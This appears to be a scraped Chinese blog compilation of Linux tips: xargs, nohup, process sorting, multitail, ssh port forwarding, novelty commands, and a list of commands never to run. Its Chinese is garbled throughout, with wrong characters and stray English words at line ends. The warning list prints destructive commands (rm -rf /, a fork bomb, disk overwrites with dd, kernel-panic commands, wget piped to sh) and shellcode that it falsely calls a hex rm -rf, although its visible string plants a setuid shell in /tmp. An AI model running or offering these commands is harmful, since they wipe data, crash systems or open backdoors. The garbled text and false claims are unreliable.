Linux 高級命令

像一些高級點的命令,好比說 Xargs 命令、管道命令、自動應答命令等,若是當初我要是知道,那我也可能寫出簡潔高效的腳本。html

無論出於任何緣由,我都想對一些 Linux 使用的高級命令進行用法說明,利人利己,之後不記得的話,我也能夠回頭翻來看看。mysql

1、實用的 xargs 命令linux

在平時的使用中,我認爲 xargs 這個命令仍是較爲重要和方便的。咱們能夠經過使用這個命令,將命令輸出的結果做爲參數傳遞給另外一個命令。sql

好比說咱們想找出某個路徑下以 .conf 結尾的文件,並將這些文件進行分類,那麼普通的作法就是先將以 .conf 結尾的文件先找出來,而後輸出到一個文件中,接着 cat 這個文件,並使用 file 文件分類命令去對輸出的文件進行分類。shell

這個普通的方法還的確是略顯麻煩,那麼這個時候 xargs 命令就派上用場了。數據庫

例1:找出 / 目錄下以 .conf 結尾的文件,並進行文件分類api

命令:安全

 

# find / -name *.conf -type f -print | xargs file

 

輸出結果以下所示:服務器

xargs 後面不只僅能夠加文件分類的命令,你還能夠加其餘的不少命令,好比說實在一點的tar命令,你可使用find命令配合tar命令,將指定路徑的特殊文件使用find命令找出來,而後配合tar命令將找出的文件直接打包,命令以下:網絡

 

# find / -name *.conf -type f -print | xargs tar cjf test.tar.gz

 

2、命令或腳本後臺運行

有時候咱們進行一些操做的時候,不但願咱們的操做在終端會話斷了以後就跟着斷了,特別是一些數據庫導入導出操做,若是涉及到大數據量的操做,咱們不可能保證咱們的網絡在咱們的操做期間不出問題,因此後臺運行腳本或者命令對咱們來講是一大保障。

好比說咱們想把數據庫的導出操做後臺運行,而且將命令的操做輸出記錄到文件,那麼咱們能夠這麼作:

 

nohup mysqldump -uroot -pxxxxx —all-databases > ./alldatabases.sql &(xxxxx是密碼)

 

固然若是你不想密碼明文,你還能夠這麼作:

nohup mysqldump -uroot -pxxxxx —all-databases > ./alldatabases.sql (後面不加&符號

 

 

執行了上述命令後,會提示叫你輸入密碼,輸入密碼後,該命令還在前臺運行,可是咱們的目的是後天運行該命令,這個時候你能夠按下Ctrl+Z,而後在輸入bg就能夠達到第一個命令的效果,讓該命令後臺運行,同時也可讓密碼隱蔽輸入。

命令後臺執行的結果會在命令執行的當前目錄下留下一個nohup.out文件,查看這個文件就知道命令有沒有執行報錯等信息。

3、找出當前系統內存使用量較高的進程

在不少運維的時候,咱們發現內存耗用較爲嚴重,那麼怎麼樣才能找出內存消耗的進程排序呢?

命令:

 

 

# ps -aux | sort -rnk 4 | head -20

 

輸出的第4列就是內存的耗用百分比。最後一列就是相對應的進程。

4、找出當前系統CPU使用量較高的進程

在不少運維的時候,咱們發現CPU耗用較爲嚴重,那麼怎麼樣才能找出CPU消耗的進程排序呢?

命令:

 

# ps -aux | sort -rnk 3 | head -20

 

輸出的第3列爲CPU的耗用百分比,最後一列就是對應的進程。

我想你們應該也發現了,sort 命令後的三、4其實就是表明着第3列進行排序、第4列進行排序。

5、同時查看多個日誌或數據文件

在平常工做中,咱們查看日誌文件的方式多是使用tail命令在一個個的終端查看日誌文件,一個終端就看一個日誌文件。包括我在內也是,可是有時候也會以爲這種方式略顯麻煩,其實有個工具叫作multitail能夠在同一個終端同時查看多個日誌文件。

首先安裝multitail:

 

# wget ftp://ftp.is.co.za/mirror/ftp.rpmforge.net/redhat/el6/en/x86_64/dag/RPMS/multitail-5.2.9-1.el6.rf.x86_64.rpm

# yum -y localinstall multitail-5.2.9-1.el6.rf.x86_64.rpm

 

 

multitail工具支持文本的高亮顯示,內容過濾以及更多你可能須要的功能。

以下就來一個有用的例子:
此時咱們既想查看secure的日誌指定過濾關鍵字輸出,又想查看實時的網絡ping狀況:

命令以下:

 

# multitail -e "Accepted" /var/log/secure -l "ping baidu.com"

 

是否是很方便?若是平時咱們想查看兩個日誌之間的關聯性,能夠觀察日誌輸出是否有觸發等。若是分開兩個終端可能來回進行切換有點浪費時間,這個multitail工具查看何嘗不是一個好方法。

6、持續ping並將結果記錄到日誌

不少時候,運維總會聽到一個聲音,是否是網絡出什麼問題了啊,致使業務出現怪異的症狀,確定是服務器網絡出問題了。這個就是俗稱的背鍋,業務出了問題,第一時間相關人員找不到緣由不少狀況下就會把問題歸結於服務器網絡有問題。

這個時候你去ping幾個包把結果丟出來,人家會反駁你,剛剛那段時間有問題而已,如今業務都恢復正常了,網絡確定正常啊,這個時候估計你要氣死。

你要是再拿出zabbix等網絡監控的數據,這個時候就不太穩當了,zabbix的採集數據間隔你不可能設置成1秒鐘1次吧?小編就遇到過這樣的問題,結果我經過如下的命令進行了ping監控採集。

而後再有人讓我背鍋的時候,我把出問題時間段的ping數據庫截取出來,你們公開談,結果那次被我叼槓回去了,之後他們都不敢輕易甩鍋了,這個感受好啊。

命令:

 

ping api.jpush.cn | awk ‘{ print $0」    「 strftime(「%Y-%m-%d %H:%M:%S」,systime()) } ‘ >> /tmp/jiguang.log &

 

 

輸出的結果會記錄到/tmp/jiguang.log 中,每秒鐘新增一條ping記錄,以下:

7、查看tcp鏈接狀態

指定查看80端口的tcp鏈接狀態,有利於分析鏈接是否釋放,或者攻擊時進行狀態分析。

命令:# netstat -nat |awk ‘{print $6}’|sort|uniq -c|sort -rn

8、查找80端口請求數最高的前20個IP

有時候業務的請求量忽然上去了,那麼這個時候咱們能夠查看下請求來源IP狀況,若是是集中在少數IP上的,那麼多是存在攻擊行爲,咱們使用防火牆就能夠進行封禁。命令以下:

 

# netstat -anlp|grep 80|grep tcp|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -nr|head -n20

# netstat -anlp|grep 80|grep tcp|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -nr|head -n20

 

9、ssh實現端口轉發

可能不少的朋友都據說過ssh是linux下的遠程登陸安全協議,就是通俗的遠程登陸管理服務器。可是應該不多朋友會據說過ssh還能夠作端口轉發。其實ssh用來作端口轉發的功能仍是很強大的,下面就來作示範。

實例背景:咱們公司是有堡壘機的,任何操做均須要在堡壘機上進行,有寫開發人員須要訪問ELasticSearch的head面板查看集羣狀態,可是咱們並不想將ElasticSearch的9200端口映射出去,依然想經過堡壘機進行訪問。因此纔會將通往堡壘機(192.168.1.15)的請求轉發到服務器ElasticSearch(192.168.1.19)的9200上。

例子:

將發往本機(192.168.1.15)的9200端口訪問轉發到192.168.1.19的9200端口

 

ssh -p 22 -C -f -N -g -L 9200:192.168.1.19:9200 ihavecar@192.168.1.19

ssh -p 22 -C -f -N -g -L 9200:192.168.1.19:9200 ihavecar@192.168.1.19

 

記住:前提是先進行祕鑰傳輸。

命令執行完後,訪問192.168.1.15:9200端口則真實是訪問192.168.1.19:9200端口。

 

參考連接:https://mp.weixin.qq.com/s/eBDVEyvkheldnfh43KfYwg

 

 

 

21條命令合集

1.sl 命令

 

你會看到一輛火車從屏幕右邊開往左邊。。。。。。

 

 

安裝  $ sudo apt-get install sl
運行  $ sl

 

命令有 -alFe幾個選項,

 

 

-a An accident seems to happen. You'll feel pity for people who cry for help.
-l shows little one.
-F It flies.
-e Allow interrupt by Ctrl+C.

 

 

能夠給別人來個惡做劇,他一敲ls,不知道的確定頗有效果

 

 

$alias ls=sl

 

2.fortune  命令

 

輸出一句話,有笑話,名言什麼的 (還有唐詩宋詞sudo apt-get install fortune-zh)

 

 

安裝 $sudo apt-get install fortune
運行 $fortune

 

 

3.cowsay 命令

 

用ASCII字符打印牛,羊等動物,還有個cowthink,這個是奶牛想,那個是奶牛說,哈哈,差很少

 

 

安裝  $sudo apt-get install cowsay
運行  $cowsay "I am not a cow, hahaha"

 

 

 

$cowsay -l  查看其它動物的名字,而後-f跟上動物名,如
$cowsay -f tux "坑爹啊"

 

 

還可讓cowsay說出fortune的內容,就像這樣:

 

 

$fortune | cowsay

 

 

4.cmatrix 命令

 

這個很酷!《黑客帝國》那種矩陣風格的動畫效果

 

 

安裝   $ sudo apt-get install cmatrix
運行   $cmatrix

 

 

5.figlet 、toilet命令

 

藝術字生成器,由ASCII字符組成,把文本顯示成標題欄。此外還有banner這個命令

 

 

安裝  $sudo apt-get install figlet
$sudo apt-get install toilet
運行  $figlet fuck you !
$toilet i love you

 

 

toilet還能夠添加顏色,裏面的選項請本身man一下

 

 

$ toilet -f mono12 -F gay a girl

 

 

6.oneko 命令

 

桌面上出現一直喵星人,跟着你的鼠標跑,你不動了它就睡覺。哈哈,這個挺不錯

 

 

安裝 $sudo apt-get install oneko
運行 $oneko   要關掉這傢伙,按ctrl+c 結束

 

 

7.xeyes 命令

 

在屏幕上出現一雙眼睛,盯着你的鼠標指針

 

安裝運行同上

 

 

8.yes 命令

 

輸出無窮無盡的字符,按ctrl+c結束,如

 

 

$yes  我很NB

 

9.cal 9 1752

 

cal是打印日曆,不過這個是很奇葩的一個月,

 

 

10.shred

 

覆蓋搞亂文件,就是文檔粉碎,哈哈,要把你私藏的大片種子和電影銷燬,不被恢復出來,就靠它了

 

11.factor

 

分解因數,這個。。。小學生能夠用一下

 

 

12.挨個敲下面這一堆, aptitude沒有的能夠安裝上

 

 

aptitude moo
aptitude -v moo
aptitude -vv moo
aptitude -vvv moo
aptitude -vvvv moo
aptitude -vvvvv moo
aptitude -vvvvvv moo
aptitude -vvvvvvv moo

 

13.free the fish

 

桌面遊過一條魚...

 

 

alt+f2 輸入free the fish

 

那麼,繼續!

14.rm -rf /

和大多數 Linux 命令同樣,rm 這個核心命令使用起來很是方便。即使是最頑固的文件它也能幫你刪除。結合起後面兩個參數理解 rm 指令時,你很容易陷入大麻煩:-r,強制遞歸刪除全部子目錄,-f,無需確認,強制刪除全部只讀文件。若是你在根目錄運行這條指令,將清除整個驅動器上的全部數據。

而後,當文件化爲烏有時其中也包括了公司的視頻。幸運的是,在瘋狂敲擊 control -C 後,在刪除太多文件以前,系統管理員停止了這條命令。但這是對你的警告:任何人均可能犯這樣的錯誤。

事實上,絕大部分現代操做系統都會在你犯這些錯誤以前,用一段醒目的文字警告你。然而,若是你在連續敲擊鍵盤時忙碌或是分心,你將會把你的系統鍵入一個黑洞。(LCTT 譯註:幸運的是,可能在根目錄下刪除整個文件系統的人太多了額,後來 rm 默認禁止刪除根目錄,除非——你手動加上 –no-preserve-root 參數!)

這裏有一些更爲隱蔽的方式調用 rm -rf。思考一下下面的代碼:

 

char esp[] __attribute__ ((section(「.text」))) = 「\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68」
「\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99」
「\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7」
「\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56」
「\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31」
「\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69」
「\x6e\x2f\x73\x68\x00\x2d\x63\x00」
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;

 

這是什麼?這是 16 進制的 rm -rf 寫法。在你不明確這段代碼以前,請千萬不要運行這條命令!

15.fork 炸彈

既然咱們討論的都是些奇怪的代碼,不妨思考一下這一行:

 

 

:(){ :|: & };:

 

對你來講,這可能看起來有些神祕,可是我看來,它就是那個臭名昭著的 Bash fork 炸彈。它會反覆啓動新的 Bash shell,直到你的系統資源消耗殆盡、系統崩潰。

 

不該該在最新的 Linux 系統上作這些操做。注意,我說的是不該該。我沒有說不能。正確設置用戶權限,Linux 系統可以阻止這些破壞性行爲。一般用戶僅限於分配使用機器可用內存。可是若是做爲 root 用戶的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然能夠反覆虐待服務器,直到系統重啓了。

16.垃圾數據重寫硬盤

有時候你想完全清除硬盤的數據,你應該使用 Darik’s Boot and Nuke (DBAN) 工具去完成這項工做。

可是若是僅僅想讓你的存儲器亂套,那很簡單:

 

任意命令 > /dev/hda

 

我說的「任意命令」,是指有輸出的任意命令,好比:

 

 

ls -la > /dev/hda

 

……將目錄列表經過管道送到你的主存儲設備。給我 root 權限和足夠的時間,就能覆蓋整個硬盤設備。這是讓你開始盲目恐慌的一天的好辦法,或者,能夠把它變成職業禁入方式。

17.擦除硬盤!

另外一個一直受歡迎的擦除硬盤的方式是執行:

 

dd if=/dev/zero of=/dev/hda

 

你能夠用這條命令寫入數據到你的硬盤設備。dd 命令能夠從特殊文件中獲取無盡個 0 字符,而且將它所有寫入你的設備。

18./dev/null 的損失

另外一個毀滅你的存儲設備的方式,運行 mv / /dev/null 或者 >mv /dev/null

在前一種狀況下,你做爲 root 用戶,把整個磁盤數據都送進這個如飢似渴的 /dev/null。在後者,你僅僅把家目錄餵給這個空空如也的倉庫。任何一種狀況下,除非還原備份,你不再會再看見你的數據了。

19.格式化錯了驅動器

有時候你須要使用這一條命令格式化驅動器:

 

mkfs.ext3 /dev/hda

 

……它會用 ext3 文件系統格式化主硬盤驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不須要用它?

 

當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分區是真的須要格式化的那塊而不是你正在使用的那塊,不管它們是 SSD、閃存盤仍是其餘氧化鐵磁盤。

20.內核崩潰

一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻能夠致使內核崩潰。這些錯誤一般是由硬件問題引發的,但你也能夠本身搞崩。

當你遭遇內核崩潰,從新啓動系統你才能夠恢復工做。在一些狀況下,這只是有點小煩;在另外一些狀況下,這是一個大問題,好比說,高負荷運做下的生產環境。下面有一個案例:

 

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

 

這些都會致使內核崩潰。

毫不要運行你並不瞭解它功能的命令,它們都在提醒我…

21.提防未知腳本

年輕或是懶惰的系統管理員喜歡複製別人的腳本。何須從新重複造輪子?因此,他們找到了一個很酷的腳本,承諾會自動檢查全部備份。他們就這樣運行它:

 

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

 

這會下載該腳本,並將它送到 shell 上運行。

你認爲你不會幹那樣的事?告訴我,全部那些 你在 Docker 裏面運行的容器鏡像在幹什麼?你知道它們到底在運行着什麼嗎?我見過太多的沒有驗證容器裏面裝着什麼就運行它們的系統管理員。請不要和他們同樣。

結束

我有沒有遺漏什麼?在 @sjvn 或 @enterprisenxt 上告訴我哪些 Linux 命令在你的「毫不要運行!」的清單上。

參考資料:

http://www.cnblogs.com/sukai/archive/2013/06/08/3127031.html

https://linux.cn/article-9206-1.html

相關文章
相關標籤/搜索